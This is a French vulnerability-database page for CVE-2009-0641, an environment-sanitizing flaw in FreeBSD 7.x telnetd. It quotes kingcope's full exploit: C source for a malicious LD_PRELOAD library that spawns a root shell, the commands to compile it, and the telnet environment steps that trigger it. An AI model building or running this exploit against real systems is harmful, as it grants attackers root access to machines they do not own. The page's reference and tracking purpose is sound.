CVE-2009-0641 : Détail

CVE-2009-0641

A05-Security MisconfigurationA01-Broken Access Control
9.03%V3
Network
2009-02-18
16h00 +00:00
2017-09-28
10h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

sys_term.c in telnetd in FreeBSD 7.0-RELEASE and other 7.x versions deletes dangerous environment variables with a method that was valid only in older FreeBSD distributions, which might allow remote attackers to execute arbitrary code by passing a crafted environment variable from a telnet client, as demonstrated by an LD_PRELOAD value that references a malicious library.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-16 Category : Configuration
Weaknesses in this category are typically introduced during the configuration of the software.
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 8055

Date de publication : 2009-02-15 23h00 +00:00
Auteur : kingcope
EDB Vérifié : Yes

FreeBSD (7.0-RELEASE) telnet daemon local privilege escalation - And possible remote root code excution. There is a rather big bug in the current FreeBSD telnetd daemon. The environment is not properly sanitized when execution /bin/login, what leads to a (possible) remote root hole. The telnet protocol allows to pass environment variables inside the telnet traffic and assign them to the other side of the tcp connection. The telnet daemon of FreeBSD does not check for LD_* (like LD_PRELOAD) environment variables prior to executing /bin/login. So passing an environment variable with the identifier LD_PRELOAD and the value of a precompiled library that is on the filesystem of the victims box that includes malicious code is possible. When /bin/login is executed with the user id and group id 0 ('root') it preloads the library that was set by remote connection through a telnet environment definition and executes it. It is unlikely that this bug can be exploited remotely but is not impossible. An attacker could f.e. upload a malicious library using ftp (including anonymous ftp users), nfs, smb or any other (file) transfer protocol. One scenario to exploit the bug remotely would be a ftp server running beside the telnet daemon serving also anoynmous users with write access. Then the attacker would upload the malicious library and defines the LD_PRELOAD variable to something similar to /var/ftp/mallib.so to gain remote root access. Here comes the actual exploit which can be executed with standard UNIX tools. Paste this into a file using your favorite text editor: ---snip----- # FreeBSD telnetd local/remote privilege escalation/code execution # remote root only when accessible ftp or similar available # tested on FreeBSD 7.0-RELEASE # by Kingcope/2009 #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { FILE *f; setenv("LD_PRELOAD", "", 1); system("echo ALEX-ALEX;/bin/sh"); } ---snip----- Then we compile this stuff. ---snip----- #gcc -o program.o -c program.c -fPIC #gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles ---snip----- Then we copy the file to a known location (local root exploit) ---snip----- #cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0 ---snip----- ...or we upload the library through any other available attack vector. After that we telnet to the remote or local FreeBSD telnet daemon with setting the LD_PRELOAD environment variable to the known location as a telnet option before. ---snip----- #telnet >auth disable SRA >environ define LD_PRELOAD /tmp/libno_ex.so.1.0 >open target ---snip----- ALEX-ALEX #ROOTSHELL This will give us an immediate (probably remote) root shell. This exploit is only verified on a FreeBSD 7.0-RELEASE fresh install with telnetd enabled. Other version of FreeBSD may also be affected, OpenBSD and NetBSD where not tested but MAY contain the same bug because of historic reasons. Signed, Kingcope[nikolaos rangos]/2009 # milw0rm.com [2009-02-16]

Products Mentioned

Configuraton 0

Freebsd>>Freebsd >> Version 7.0

Freebsd>>Freebsd >> Version 7.0

    Freebsd>>Freebsd >> Version 7.0

      Freebsd>>Freebsd >> Version 7.0-release

        Freebsd>>Freebsd >> Version 7.0_beta4

          Freebsd>>Freebsd >> Version 7.0_releng

            Freebsd>>Freebsd >> Version 7.1

            Freebsd>>Freebsd >> Version 7.1

            Références

            http://www.securityfocus.com/bid/33777
            Tags : vdb-entry, x_refsource_BID
            https://www.exploit-db.com/exploits/8055
            Tags : exploit, x_refsource_EXPLOIT-DB